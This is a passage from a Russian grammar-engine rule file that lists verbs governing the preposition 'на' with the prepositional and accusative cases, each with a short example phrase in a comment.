бумажке rus_verbs:рассечь{}, // рассечь на тупом конце rus_verbs:посмеяться{}, // посмеяться на переменке rus_verbs:остыть{}, // остыть на морозном воздухе rus_verbs:запереться{}, // запереться на чердаке rus_verbs:обогнать{}, // обогнать на повороте rus_verbs:подтянуться{}, // подтянуться на турнике rus_verbs:привозить{}, // привозить на машине rus_verbs:подбирать{}, // подбирать на полу rus_verbs:уничтожать{}, // уничтожать на подходе rus_verbs:притаиться{}, // притаиться на вершине rus_verbs:плясать{}, // плясать на костях rus_verbs:поджидать{}, // поджидать на вокзале rus_verbs:закончить{}, // Мы закончили игру на самом интересном месте (САМ не может быть первым прилагательным в цепочке!) rus_verbs:смениться{}, // смениться на посту rus_verbs:посчитать{}, // посчитать на пальцах rus_verbs:прицелиться{}, // прицелиться на бегу rus_verbs:нарисовать{}, // нарисовать на стене rus_verbs:прыгать{}, // прыгать на сцене rus_verbs:повертеть{}, // повертеть на пальце rus_verbs:попрощаться{}, // попрощаться на панихиде инфинитив:просыпаться{ вид:соверш }, глагол:просыпаться{ вид:соверш }, // просыпаться на диване rus_verbs:разобрать{}, // разобрать на столе rus_verbs:помереть{}, // помереть на чужбине rus_verbs:различить{}, // различить на нечеткой фотографии rus_verbs:рисовать{}, // рисовать на доске rus_verbs:проследить{}, // проследить на экране rus_verbs:задремать{}, // задремать на диване rus_verbs:ругаться{}, // ругаться на людях rus_verbs:сгореть{}, // сгореть на работе rus_verbs:зазвучать{}, // зазвучать на коротких волнах rus_verbs:задохнуться{}, // задохнуться на вершине горы rus_verbs:порождать{}, // порождать на поверхности небольшую рябь rus_verbs:отдыхать{}, // отдыхать на курорте rus_verbs:образовать{}, // образовать на дне толстый слой rus_verbs:поправиться{}, // поправиться на дармовых харчах rus_verbs:отмечать{}, // отмечать на календаре rus_verbs:реять{}, // реять на флагштоке rus_verbs:ползти{}, // ползти на коленях rus_verbs:продавать{}, // продавать на аукционе rus_verbs:сосредоточиться{}, // сосредоточиться на основной задаче rus_verbs:рыскать{}, // мышки рыскали на кухне rus_verbs:расстегнуть{}, // расстегнуть на куртке все пуговицы rus_verbs:напасть{}, // напасть на территории другого государства rus_verbs:издать{}, // издать на западе rus_verbs:оставаться{}, // оставаться на страже порядка rus_verbs:появиться{}, // наконец появиться на экране rus_verbs:лежать{}, // лежать на столе rus_verbs:ждать{}, // ждать на берегу инфинитив:писать{aux stress="пис^ать"}, // писать на бумаге глагол:писать{aux stress="пис^ать"}, rus_verbs:оказываться{}, // оказываться на полу rus_verbs:поставить{}, // поставить на столе rus_verbs:держать{}, // держать на крючке rus_verbs:выходить{}, // выходить на остановке rus_verbs:заговорить{}, // заговорить на китайском языке rus_verbs:ожидать{}, // ожидать на стоянке rus_verbs:закричать{}, // закричал на минарете муэдзин rus_verbs:простоять{}, // простоять на посту rus_verbs:продолжить{}, // продолжить на первом этаже rus_verbs:ощутить{}, // ощутить на себе влияние кризиса rus_verbs:состоять{}, // состоять на учете rus_verbs:готовиться{}, инфинитив:акклиматизироваться{вид:несоверш}, // альпинисты готовятся акклиматизироваться на новой высоте глагол:акклиматизироваться{вид:несоверш}, rus_verbs:арестовать{}, // грабители были арестованы на месте преступления rus_verbs:схватить{}, // грабители были схвачены на месте преступления инфинитив:атаковать{ вид:соверш }, // взвод был атакован на границе глагол:атаковать{ вид:соверш }, прилагательное:атакованный{ вид:соверш }, прилагательное:атаковавший{ вид:соверш }, rus_verbs:базировать{}, // установка будет базирована на границе rus_verbs:базироваться{}, // установка базируется на границе rus_verbs:барахтаться{}, // дети барахтались на мелководье rus_verbs:браконьерить{}, // Охотники браконьерили ночью на реке rus_verbs:браконьерствовать{}, // Охотники ночью браконьерствовали на реке rus_verbs:бренчать{}, // парень что-то бренчал на гитаре rus_verbs:бренькать{}, // парень что-то бренькает на гитаре rus_verbs:начать{}, // Рынок акций РФ начал торги на отрицательной территории. rus_verbs:буксовать{}, // Колеса буксуют на льду rus_verbs:вертеться{}, // Непоседливый ученик много вертится на стуле rus_verbs:взвести{}, // Боец взвел на оружии предохранитель rus_verbs:вилять{}, // Машина сильно виляла на дороге rus_verbs:висеть{}, // Яблоко висит на ветке rus_verbs:возлежать{}, // возлежать на лежанке rus_verbs:подниматься{}, // Мы поднимаемся на лифте rus_verbs:подняться{}, // Мы поднимемся на лифте rus_verbs:восседать{}, // Коля восседает на лошади rus_verbs:воссиять{}, // Луна воссияла на небе rus_verbs:воцариться{}, // Мир воцарился на всей земле rus_verbs:воцаряться{}, // Мир воцаряется на всей земле rus_verbs:вращать{}, // вращать на поясе rus_verbs:вращаться{}, // вращаться на поясе rus_verbs:встретить{}, // встретить друга на улице rus_verbs:встретиться{}, // встретиться на занятиях rus_verbs:встречать{}, // встречать на занятиях rus_verbs:въебывать{}, // въебывать на работе rus_verbs:въезжать{}, // въезжать на автомобиле rus_verbs:въехать{}, // въехать на автомобиле rus_verbs:выгорать{}, // ткань выгорает на солнце rus_verbs:выгореть{}, // ткань выгорела на солнце rus_verbs:выгравировать{}, // выгравировать на табличке надпись rus_verbs:выжить{}, // выжить на необитаемом острове rus_verbs:вылежаться{}, // помидоры вылежались на солнце rus_verbs:вылеживаться{}, // вылеживаться на солнце rus_verbs:выместить{}, // выместить на ком-то злобу rus_verbs:вымещать{}, // вымещать на ком-то свое раздражение rus_verbs:вымещаться{}, // вымещаться на ком-то rus_verbs:выращивать{}, // выращивать на грядке помидоры rus_verbs:выращиваться{}, // выращиваться на грядке инфинитив:вырезать{вид:соверш}, // вырезать на доске надпись глагол:вырезать{вид:соверш}, инфинитив:вырезать{вид:несоверш}, глагол:вырезать{вид:несоверш}, rus_verbs:вырисоваться{}, // вырисоваться на графике rus_verbs:вырисовываться{}, // вырисовываться на графике rus_verbs:высаживать{}, // высаживать на необитаемом острове rus_verbs:высаживаться{}, // высаживаться на острове rus_verbs:высвечивать{}, // высвечивать на дисплее температуру rus_verbs:высвечиваться{}, // высвечиваться на дисплее rus_verbs:выстроить{}, // выстроить на фундаменте rus_verbs:выстроиться{}, // выстроиться на плацу rus_verbs:выстудить{}, // выстудить на морозе rus_verbs:выстудиться{}, // выстудиться на морозе rus_verbs:выстужать{}, // выстужать на морозе rus_verbs:выстуживать{}, // выстуживать на морозе rus_verbs:выстуживаться{}, // выстуживаться на морозе rus_verbs:выстукать{}, // выстукать на клавиатуре rus_verbs:выстукивать{}, // выстукивать на клавиатуре rus_verbs:выстукиваться{}, // выстукиваться на клавиатуре rus_verbs:выступать{}, // выступать на сцене rus_verbs:выступить{}, // выступить на сцене rus_verbs:выстучать{}, // выстучать на клавиатуре rus_verbs:выстывать{}, // выстывать на морозе rus_verbs:выстыть{}, // выстыть на морозе rus_verbs:вытатуировать{}, // вытатуировать на руке якорь rus_verbs:говорить{}, // говорить на повышенных тонах rus_verbs:заметить{}, // заметить на берегу rus_verbs:стоять{}, // твёрдо стоять на ногах rus_verbs:оказаться{}, // оказаться на передовой линии rus_verbs:почувствовать{}, // почувствовать на своей шкуре rus_verbs:остановиться{}, // остановиться на первом пункте rus_verbs:показаться{}, // показаться на горизонте rus_verbs:чувствовать{}, // чувствовать на своей шкуре rus_verbs:искать{}, // искать на открытом пространстве rus_verbs:иметься{}, // иметься на складе rus_verbs:клясться{}, // клясться на Коране rus_verbs:прервать{}, // прервать на полуслове rus_verbs:играть{}, // играть на чувствах rus_verbs:спуститься{}, // спуститься на парашюте rus_verbs:понадобиться{}, // понадобиться на экзамене rus_verbs:служить{}, // служить на флоте rus_verbs:подобрать{}, // подобрать на улице rus_verbs:появляться{}, // появляться на сцене rus_verbs:селить{}, // селить на чердаке rus_verbs:поймать{}, // поймать на границе rus_verbs:увидать{}, // увидать на опушке rus_verbs:подождать{}, // подождать на перроне rus_verbs:прочесть{}, // прочесть на полях rus_verbs:тонуть{}, // тонуть на мелководье rus_verbs:ощущать{}, // ощущать на коже rus_verbs:отметить{}, // отметить на полях rus_verbs:показывать{}, // показывать на графике rus_verbs:разговаривать{}, // разговаривать на иностранном языке rus_verbs:прочитать{}, // прочитать на сайте rus_verbs:попробовать{}, // попробовать на практике rus_verbs:замечать{}, // замечать на коже грязь rus_verbs:нести{}, // нести на плечах rus_verbs:носить{}, // носить на голове rus_verbs:гореть{}, // гореть на работе rus_verbs:застыть{}, // застыть на пороге инфинитив:жениться{ вид:соверш }, // жениться на королеве глагол:жениться{ вид:соверш }, прилагательное:женатый{}, прилагательное:женившийся{}, rus_verbs:спрятать{}, // спрятать на чердаке rus_verbs:развернуться{}, // развернуться на плацу rus_verbs:строить{}, // строить на песке rus_verbs:устроить{}, // устроить на даче тестральный вечер rus_verbs:настаивать{}, // настаивать на выполнении приказа rus_verbs:находить{}, // находить на берегу rus_verbs:мелькнуть{}, // мелькнуть на экране rus_verbs:очутиться{}, // очутиться на опушке леса инфинитив:использовать{вид:соверш}, // использовать на работе глагол:использовать{вид:соверш}, инфинитив:использовать{вид:несоверш}, глагол:использовать{вид:несоверш}, прилагательное:использованный{}, прилагательное:использующий{}, прилагательное:использовавший{}, rus_verbs:лететь{}, // лететь на воздушном шаре rus_verbs:смеяться{}, // смеяться на сцене rus_verbs:ездить{}, // ездить на мопеде rus_verbs:заснуть{}, // заснуть на диване rus_verbs:застать{}, // застать на рабочем месте rus_verbs:очнуться{}, // очнуться на больничной койке rus_verbs:разглядеть{}, // разглядеть на фотографии rus_verbs:обойти{}, // обойти на вираже rus_verbs:удержаться{}, // удержаться на троне rus_verbs:побывать{}, // побывать на другой планете rus_verbs:заняться{}, // заняться на выходных делом rus_verbs:вянуть{}, // вянуть на солнце rus_verbs:постоять{}, // постоять на голове rus_verbs:приобрести{}, // приобрести на распродаже rus_verbs:попасться{}, // попасться на краже rus_verbs:продолжаться{}, // продолжаться на земле rus_verbs:открывать{}, // открывать на арене rus_verbs:создавать{}, // создавать на сцене rus_verbs:обсуждать{}, // обсуждать на кухне rus_verbs:отыскать{}, // отыскать на полу rus_verbs:уснуть{}, // уснуть на диване rus_verbs:задержаться{}, // задержаться на работе rus_verbs:курить{}, // курить на свежем воздухе rus_verbs:приподняться{}, // приподняться на локтях rus_verbs:установить{}, // установить на вершине rus_verbs:запереть{}, // запереть на балконе rus_verbs:синеть{}, // синеть на воздухе rus_verbs:убивать{}, // убивать на нейтральной территории rus_verbs:скрываться{}, // скрываться на даче rus_verbs:родить{}, // родить на полу rus_verbs:описать{}, // описать на страницах книги rus_verbs:перехватить{}, // перехватить на подлете rus_verbs:скрывать{}, // скрывать на даче rus_verbs:сменить{}, // сменить на посту rus_verbs:мелькать{}, // мелькать на экране rus_verbs:присутствовать{}, // присутствовать на мероприятии rus_verbs:украсть{}, // украсть на рынке rus_verbs:победить{}, // победить на ринге rus_verbs:упомянуть{}, // упомянуть на страницах романа rus_verbs:плыть{}, // плыть на старой лодке rus_verbs:повиснуть{}, // повиснуть на перекладине rus_verbs:нащупать{}, // нащупать на дне rus_verbs:затихнуть{}, // затихнуть на дне rus_verbs:построить{}, // построить на участке rus_verbs:поддерживать{}, // поддерживать на поверхности rus_verbs:заработать{}, // заработать на бирже rus_verbs:провалиться{}, // провалиться на экзамене rus_verbs:сохранить{}, // сохранить на диске rus_verbs:располагаться{}, // располагаться на софе rus_verbs:поклясться{}, // поклясться на библии rus_verbs:сражаться{}, // сражаться на арене rus_verbs:спускаться{}, // спускаться на дельтаплане rus_verbs:уничтожить{}, // уничтожить на подступах rus_verbs:изучить{}, // изучить на практике rus_verbs:рождаться{}, // рождаться на праздниках rus_verbs:прилететь{}, // прилететь на самолете rus_verbs:догнать{}, // догнать на перекрестке rus_verbs:изобразить{}, // изобразить на бумаге rus_verbs:проехать{}, // проехать на тракторе rus_verbs:приготовить{}, // приготовить на масле rus_verbs:споткнуться{}, // споткнуться на полу rus_verbs:собирать{}, // собирать на берегу rus_verbs:отсутствовать{}, // отсутствовать на тусовке rus_verbs:приземлиться{}, // приземлиться на военном аэродроме rus_verbs:сыграть{}, // сыграть на трубе rus_verbs:прятаться{}, // прятаться на даче rus_verbs:спрятаться{}, // спрятаться на чердаке rus_verbs:провозгласить{}, // провозгласить на митинге rus_verbs:изложить{}, // изложить на бумаге rus_verbs:использоваться{}, // использоваться на практике rus_verbs:замяться{}, // замяться на входе rus_verbs:раздаваться{}, // Крик ягуара раздается на краю болота rus_verbs:сверкнуть{}, // сверкнуть на солнце rus_verbs:сверкать{}, // сверкать на свету rus_verbs:задержать{}, // задержать на митинге rus_verbs:осечься{}, // осечься на первом слове rus_verbs:хранить{}, // хранить на банковском счету rus_verbs:шутить{}, // шутить на уроке rus_verbs:кружиться{}, // кружиться на балу rus_verbs:чертить{}, // чертить на доске rus_verbs:отразиться{}, // отразиться на оценках rus_verbs:греть{}, // греть на солнце rus_verbs:рассуждать{}, // рассуждать на страницах своей книги rus_verbs:окружать{}, // окружать на острове rus_verbs:сопровождать{}, // сопровождать на охоте rus_verbs:заканчиваться{}, // заканчиваться на самом интересном месте rus_verbs:содержаться{}, // содержаться на приусадебном участке rus_verbs:поселиться{}, // поселиться на даче rus_verbs:запеть{}, // запеть на сцене инфинитив:провозить{ вид:несоверш }, // провозить на теле глагол:провозить{ вид:несоверш }, прилагательное:провезенный{}, прилагательное:провозивший{вид:несоверш}, прилагательное:провозящий{вид:несоверш}, деепричастие:провозя{}, rus_verbs:мочить{}, // мочить на месте rus_verbs:преследовать{}, // преследовать на территории другого штата rus_verbs:пролететь{}, // пролетел на параплане rus_verbs:драться{}, // драться на рапирах rus_verbs:просидеть{}, // просидеть на занятиях rus_verbs:убираться{}, // убираться на балконе rus_verbs:таять{}, // таять на солнце rus_verbs:проверять{}, // проверять на полиграфе rus_verbs:убеждать{}, // убеждать на примере rus_verbs:скользить{}, // скользить на льду rus_verbs:приобретать{}, // приобретать на распродаже rus_verbs:летать{}, // летать на метле rus_verbs:толпиться{}, // толпиться на перроне rus_verbs:плавать{}, // плавать на надувном матрасе rus_verbs:описывать{}, // описывать на страницах повести rus_verbs:пробыть{}, // пробыть на солнце слишком долго rus_verbs:застрять{}, // застрять на верхнем этаже rus_verbs:метаться{}, // метаться на полу rus_verbs:сжечь{}, // сжечь на костре rus_verbs:расслабиться{}, // расслабиться на кушетке rus_verbs:услыхать{}, // услыхать на рынке rus_verbs:удержать{}, // удержать на прежнем уровне rus_verbs:образоваться{}, // образоваться на дне rus_verbs:рассмотреть{}, // рассмотреть на поверхности чипа rus_verbs:уезжать{}, // уезжать на попутке rus_verbs:похоронить{}, // похоронить на закрытом кладбище rus_verbs:настоять{}, // настоять на пересмотре оценок rus_verbs:растянуться{}, // растянуться на горячем песке rus_verbs:покрутить{}, // покрутить на шесте rus_verbs:обнаружиться{}, // обнаружиться на болоте rus_verbs:гулять{}, // гулять на свадьбе rus_verbs:утонуть{}, // утонуть на курорте rus_verbs:храниться{}, // храниться на депозите rus_verbs:танцевать{}, // танцевать на свадьбе rus_verbs:трудиться{}, // трудиться на заводе инфинитив:засыпать{переходность:непереходный вид:несоверш}, // засыпать на кровати глагол:засыпать{переходность:непереходный вид:несоверш}, деепричастие:засыпая{переходность:непереходный вид:несоверш}, прилагательное:засыпавший{переходность:непереходный вид:несоверш}, прилагательное:засыпающий{ вид:несоверш переходность:непереходный }, // ребенок, засыпающий на руках rus_verbs:сушить{}, // сушить на открытом воздухе rus_verbs:зашевелиться{}, // зашевелиться на чердаке rus_verbs:обдумывать{}, // обдумывать на досуге rus_verbs:докладывать{}, // докладывать на научной конференции rus_verbs:промелькнуть{}, // промелькнуть на экране // прилагательное:находящийся{ вид:несоверш }, // колонна, находящаяся на ничейной территории прилагательное:написанный{}, // слово, написанное на заборе rus_verbs:умещаться{}, // компьютер, умещающийся на ладони rus_verbs:открыть{}, // книга, открытая на последней странице rus_verbs:спать{}, // йог, спящий на гвоздях rus_verbs:пробуксовывать{}, // колесо, пробуксовывающее на обледенелом асфальте rus_verbs:забуксовать{}, // колесо, забуксовавшее на обледенелом асфальте rus_verbs:отобразиться{}, // удивление, отобразившееся на лице rus_verbs:увидеть{}, // на полу я увидел чьи-то следы rus_verbs:видеть{}, // на полу я вижу чьи-то следы rus_verbs:оставить{}, // Мел оставил на доске белый след. rus_verbs:оставлять{}, // Мел оставляет на доске белый след. rus_verbs:встречаться{}, // встречаться на лекциях rus_verbs:познакомиться{}, // познакомиться на занятиях rus_verbs:устроиться{}, // она устроилась на кровати rus_verbs:ложиться{}, // ложись на полу rus_verbs:останавливаться{}, // останавливаться на достигнутом rus_verbs:спотыкаться{}, // спотыкаться на ровном месте rus_verbs:распечатать{}, // распечатать на бумаге rus_verbs:распечатывать{}, // распечатывать на бумаге rus_verbs:просмотреть{}, // просмотреть на бумаге rus_verbs:закрепляться{}, // закрепляться на плацдарме rus_verbs:погреться{}, // погреться на солнышке rus_verbs:мешать{}, // Он мешал краски на палитре. rus_verbs:занять{}, // Он занял первое место на соревнованиях. rus_verbs:заговариваться{}, // Он заговаривался иногда на уроках. деепричастие:женившись{ вид:соверш }, rus_verbs:везти{}, // Он везёт песок на тачке. прилагательное:казненный{}, // Он был казнён на электрическом стуле. rus_verbs:прожить{}, // Он безвыездно прожил всё лето на даче. rus_verbs:принести{}, // Официантка принесла нам обед на подносе. rus_verbs:переписать{}, // Перепишите эту рукопись на машинке. rus_verbs:идти{}, // Поезд идёт на малой скорости. rus_verbs:петь{}, // птички поют на рассвете rus_verbs:смотреть{}, // Смотри на обороте. rus_verbs:прибрать{}, // прибрать на столе rus_verbs:прибраться{}, // прибраться на столе rus_verbs:растить{}, // растить капусту на огороде rus_verbs:тащить{}, // тащить ребенка на руках rus_verbs:убирать{}, // убирать на столе rus_verbs:простыть{}, // Я простыл на морозе. rus_verbs:сиять{}, // ясные звезды мирно сияли на безоблачном весеннем небе. rus_verbs:проводиться{}, // такие эксперименты не проводятся на воде rus_verbs:достать{}, // Я не могу достать до яблок на верхних ветках. rus_verbs:расплыться{}, // Чернила расплылись на плохой бумаге. rus_verbs:вскочить{}, // У него вскочил прыщ на носу. rus_verbs:свить{}, // У нас на балконе воробей свил гнездо. rus_verbs:оторваться{}, // У меня на пальто оторвалась пуговица. rus_verbs:восходить{}, // Солнце восходит на востоке. rus_verbs:блестеть{}, // Снег блестит на солнце. rus_verbs:побить{}, // Рысак побил всех лошадей на скачках. rus_verbs:литься{}, // Реки крови льются на войне. rus_verbs:держаться{}, // Ребёнок уже твёрдо держится на ногах. rus_verbs:клубиться{}, // Пыль клубится на дороге. инфинитив:написать{ aux stress="напис^ать" }, // Ты должен написать статью на английском языке глагол:написать{ aux stress="напис^ать" }, // Он написал статью на русском языке. // глагол:находиться{вид:несоверш}, // мой поезд находится на первом пути // инфинитив:находиться{вид:несоверш}, rus_verbs:жить{}, // Было интересно жить на курорте. rus_verbs:повидать{}, // Он много повидал на своём веку. rus_verbs:разъезжаться{}, // Ноги разъезжаются не только на льду. rus_verbs:расположиться{}, // Оба села расположились на берегу реки. rus_verbs:объясняться{}, // Они объясняются на иностранном языке. rus_verbs:прощаться{}, // Они долго прощались на вокзале. rus_verbs:работать{}, // Она работает на ткацкой фабрике. rus_verbs:купить{}, // Она купила молоко на рынке. rus_verbs:поместиться{}, // Все книги поместились на полке. глагол:проводить{вид:несоверш}, инфинитив:проводить{вид:несоверш}, // Нужно проводить теорию на практике. rus_verbs:пожить{}, // Недолго она пожила на свете. rus_verbs:краснеть{}, // Небо краснеет на закате. rus_verbs:бывать{}, // На Волге бывает сильное волнение. rus_verbs:ехать{}, // Мы туда ехали на автобусе. rus_verbs:провести{}, // Мы провели месяц на даче. rus_verbs:поздороваться{}, // Мы поздоровались при встрече на улице. rus_verbs:расти{}, // Арбузы растут теперь не только на юге. ГЛ_ИНФ(сидеть), // три больших пса сидят на траве ГЛ_ИНФ(сесть), // три больших пса сели на траву ГЛ_ИНФ(перевернуться), // На дороге перевернулся автомобиль ГЛ_ИНФ(повезти), // я повезу тебя на машине ГЛ_ИНФ(отвезти), // мы отвезем тебя на такси ГЛ_ИНФ(пить), // пить на кухне чай ГЛ_ИНФ(найти), // найти на острове ГЛ_ИНФ(быть), // на этих костях есть следы зубов ГЛ_ИНФ(высадиться), // помощники высадились на острове ГЛ_ИНФ(делать),прилагательное:делающий{}, прилагательное:делавший{}, деепричастие:делая{}, // смотрю фильм о том, что пираты делали на необитаемом острове ГЛ_ИНФ(случиться), // это случилось на опушке леса ГЛ_ИНФ(продать), ГЛ_ИНФ(есть) // кошки ели мой корм на песчаном берегу } #endregion VerbList // Чтобы разрешить связывание в паттернах типа: смотреть на youtube fact гл_предл { if context { Гл_НА_Предл предлог:в{} @regex("[a-z]+[0-9]*") } then return true } fact гл_предл { if context { Гл_НА_Предл предлог:на{} *:*{падеж:предл} } then return true } // локатив fact гл_предл { if context { Гл_НА_Предл предлог:на{} *:*{падеж:мест} } then return true } #endregion ПРЕДЛОЖНЫЙ #region ВИНИТЕЛЬНЫЙ // НА+винительный падеж: // ЗАБИРАТЬСЯ НА ВЕРШИНУ ГОРЫ #region VerbList wordentry_set Гл_НА_Вин= { rus_verbs:переметнуться{}, // Ее взгляд растерянно переметнулся на Лили. rus_verbs:отогнать{}, // Водитель отогнал машину на стоянку. rus_verbs:фапать{}, // Не фапай на желтяк и не перебивай. rus_verbs:умножить{}, // Умножьте это количество примерно на 10. //rus_verbs:умножать{}, rus_verbs:откатить{}, // Откатил Шпак валун на шлях и перекрыл им дорогу. rus_verbs:откатывать{}, rus_verbs:доносить{}, // Вот и побежали на вас доносить. rus_verbs:донести{}, rus_verbs:разбирать{}, // Ворованные автомобили злоумышленники разбирали на запчасти и продавали. безлич_глагол:хватит{}, // - На одну атаку хватит. rus_verbs:скупиться{}, // Он сражался за жизнь, не скупясь на хитрости и усилия, и пока этот стиль давал неплохие результаты. rus_verbs:поскупиться{}, // Не поскупись на похвалы! rus_verbs:подыматься{}, rus_verbs:транспортироваться{}, rus_verbs:бахнуть{}, // Бахнуть стакан на пол rus_verbs:РАЗДЕЛИТЬ{}, // Президентские выборы разделили Венесуэлу на два непримиримых лагеря (РАЗДЕЛИТЬ) rus_verbs:НАЦЕЛИВАТЬСЯ{}, // Невдалеке пролетел кондор, нацеливаясь на бизонью тушу. (НАЦЕЛИВАТЬСЯ) rus_verbs:ВЫПЛЕСНУТЬ{}, // Низкий вибрирующий гул напоминал вулкан, вот-вот готовый выплеснуть на земную твердь потоки раскаленной лавы. (ВЫПЛЕСНУТЬ) rus_verbs:ИСЧЕЗНУТЬ{}, // Оно фыркнуло и исчезло в лесу на другой стороне дороги (ИСЧЕЗНУТЬ) rus_verbs:ВЫЗВАТЬ{}, // вызвать своего брата на поединок. (ВЫЗВАТЬ) rus_verbs:ПОБРЫЗГАТЬ{}, // Матрос побрызгал немного фимиама на крошечный огонь (ПОБРЫЗГАТЬ/БРЫЗГАТЬ/БРЫЗНУТЬ/КАПНУТЬ/КАПАТЬ/ПОКАПАТЬ) rus_verbs:БРЫЗГАТЬ{}, rus_verbs:БРЫЗНУТЬ{}, rus_verbs:КАПНУТЬ{}, rus_verbs:КАПАТЬ{}, rus_verbs:ПОКАПАТЬ{}, rus_verbs:ПООХОТИТЬСЯ{}, // Мы можем когда-нибудь вернуться и поохотиться на него. (ПООХОТИТЬСЯ/ОХОТИТЬСЯ) rus_verbs:ОХОТИТЬСЯ{}, // rus_verbs:ПОПАСТЬСЯ{}, // Не думал я, что они попадутся на это (ПОПАСТЬСЯ/НАРВАТЬСЯ/НАТОЛКНУТЬСЯ) rus_verbs:НАРВАТЬСЯ{}, // rus_verbs:НАТОЛКНУТЬСЯ{}, // rus_verbs:ВЫСЛАТЬ{}, // Он выслал разведчиков на большое расстояние от основного отряда. (ВЫСЛАТЬ) прилагательное:ПОХОЖИЙ{}, // Ты не выглядишь похожим на индейца (ПОХОЖИЙ) rus_verbs:РАЗОРВАТЬ{}, // Через минуту он был мертв и разорван на части. (РАЗОРВАТЬ) rus_verbs:СТОЛКНУТЬ{}, // Только быстрыми выпадами копья он сумел столкнуть их обратно на карниз. (СТОЛКНУТЬ/СТАЛКИВАТЬ) rus_verbs:СТАЛКИВАТЬ{}, // rus_verbs:СПУСТИТЬ{}, // Я побежал к ним, но они к тому времени спустили лодку на воду (СПУСТИТЬ) rus_verbs:ПЕРЕБРАСЫВАТЬ{}, // Сирия перебрасывает на юг страны воинские подкрепления (ПЕРЕБРАСЫВАТЬ, ПЕРЕБРОСИТЬ, НАБРАСЫВАТЬ, НАБРОСИТЬ) rus_verbs:ПЕРЕБРОСИТЬ{}, // rus_verbs:НАБРАСЫВАТЬ{}, // rus_verbs:НАБРОСИТЬ{}, // rus_verbs:СВЕРНУТЬ{}, // Он вывел машину на бульвар и поехал на восток, а затем свернул на юг. (СВЕРНУТЬ/СВОРАЧИВАТЬ/ПОВЕРНУТЬ/ПОВОРАЧИВАТЬ) rus_verbs:СВОРАЧИВАТЬ{}, // // rus_verbs:ПОВЕРНУТЬ{}, // rus_verbs:ПОВОРАЧИВАТЬ{}, // rus_verbs:наорать{}, rus_verbs:ПРОДВИНУТЬСЯ{}, // Полк продвинется на десятки километров (ПРОДВИНУТЬСЯ) rus_verbs:БРОСАТЬ{}, // Он бросает обещания на ветер (БРОСАТЬ) rus_verbs:ОДОЛЖИТЬ{}, // Я вам одолжу книгу на десять дней (ОДОЛЖИТЬ) rus_verbs:перегнать{}, // Скот нужно перегнать с этого пастбища на другое rus_verbs:перегонять{}, rus_verbs:выгонять{}, rus_verbs:выгнать{}, rus_verbs:СВОДИТЬСЯ{}, // сейчас панели кузовов расходятся по десяткам покрасочных постов и потом сводятся вновь на общий конвейер (СВОДИТЬСЯ) rus_verbs:ПОЖЕРТВОВАТЬ{}, // Бывший функционер компартии Эстонии пожертвовал деньги на расследования преступлений коммунизма (ПОЖЕРТВОВАТЬ) rus_verbs:ПРОВЕРЯТЬ{}, // Школьников будут принудительно проверять на курение (ПРОВЕРЯТЬ) rus_verbs:ОТПУСТИТЬ{}, // Приставы отпустят должников на отдых (ОТПУСТИТЬ) rus_verbs:использоваться{}, // имеющийся у государства денежный запас активно используется на поддержание рынка акций rus_verbs:назначаться{}, // назначаться на пост rus_verbs:наблюдать{}, // Судья , долго наблюдавший в трубу , вдруг вскричал rus_verbs:ШПИОНИТЬ{}, // Канадского офицера, шпионившего на Россию, приговорили к 20 годам тюрьмы (ШПИОНИТЬ НА вин) rus_verbs:ЗАПЛАНИРОВАТЬ{}, // все деньги , запланированные на сейсмоукрепление домов на Камчатке (ЗАПЛАНИРОВАТЬ НА) // rus_verbs:ПОХОДИТЬ{}, // больше походил на обвинительную речь , адресованную руководству республики (ПОХОДИТЬ НА) rus_verbs:ДЕЙСТВОВАТЬ{}, // выявленный контрабандный канал действовал на постоянной основе (ДЕЙСТВОВАТЬ НА) rus_verbs:ПЕРЕДАТЬ{}, // после чего должно быть передано на рассмотрение суда (ПЕРЕДАТЬ НА вин) rus_verbs:НАЗНАЧИТЬСЯ{}, // Зимой на эту должность пытался назначиться народный депутат (НАЗНАЧИТЬСЯ НА) rus_verbs:РЕШИТЬСЯ{}, // Франция решилась на одностороннее и рискованное военное вмешательство (РЕШИТЬСЯ НА) rus_verbs:ОРИЕНТИРОВАТЬ{}, // Этот браузер полностью ориентирован на планшеты и сенсорный ввод (ОРИЕНТИРОВАТЬ НА вин) rus_verbs:ЗАВЕСТИ{}, // на Витьку завели дело (ЗАВЕСТИ НА) rus_verbs:ОБРУШИТЬСЯ{}, // В Северной Осетии на воинскую часть обрушилась снежная лавина (ОБРУШИТЬСЯ В, НА) rus_verbs:НАСТРАИВАТЬСЯ{}, // гетеродин, настраивающийся на волну (НАСТРАИВАТЬСЯ НА) rus_verbs:СУЩЕСТВОВАТЬ{}, // Он существует на средства родителей. (СУЩЕСТВОВАТЬ НА) прилагательное:способный{}, // Он способен на убийство. (СПОСОБНЫЙ НА) rus_verbs:посыпаться{}, // на Нину посыпались снежинки инфинитив:нарезаться{ вид:несоверш }, // Урожай собирают механически или вручную, стебли нарезаются на куски и быстро транспортируются на перерабатывающий завод. глагол:нарезаться{ вид:несоверш }, rus_verbs:пожаловать{}, // скандально известный певец пожаловал к нам на передачу rus_verbs:показать{}, // Вадим показал на Колю rus_verbs:съехаться{}, // Финалисты съехались на свои игры в Лос-Анжелес. (СЪЕХАТЬСЯ НА, В) rus_verbs:расщепляться{}, // Сахароза же быстро расщепляется в пищеварительном тракте на глюкозу и фруктозу (РАСЩЕПЛЯТЬСЯ В, НА) rus_verbs:упасть{}, // В Таиланде на автобус с российскими туристами упал башенный кран (УПАСТЬ В, НА) прилагательное:тугой{}, // Бабушка туга на ухо. (ТУГОЙ НА) rus_verbs:свисать{}, // Волосы свисают на лоб. (свисать на) rus_verbs:ЦЕНИТЬСЯ{}, // Всякая рабочая рука ценилась на вес золота. (ЦЕНИТЬСЯ НА) rus_verbs:ШУМЕТЬ{}, // Вы шумите на весь дом! (ШУМЕТЬ НА) rus_verbs:протянуться{}, // Дорога протянулась на сотни километров. (протянуться на) rus_verbs:РАССЧИТАТЬ{}, // Книга рассчитана на массового читателя. (РАССЧИТАТЬ НА) rus_verbs:СОРИЕНТИРОВАТЬ{}, // мы сориентировали процесс на повышение котировок (СОРИЕНТИРОВАТЬ НА) rus_verbs:рыкнуть{}, // рыкнуть на остальных членов стаи (рыкнуть на) rus_verbs:оканчиваться{}, // оканчиваться на звонкую согласную (оканчиваться на) rus_verbs:выехать{}, // посигналить нарушителю, выехавшему на встречную полосу (выехать на) rus_verbs:прийтись{}, // Пятое число пришлось на субботу. rus_verbs:крениться{}, // корабль кренился на правый борт (крениться на) rus_verbs:приходиться{}, // основной налоговый гнет приходится на средний бизнес (приходиться на) rus_verbs:верить{}, // верить людям на слово (верить на слово) 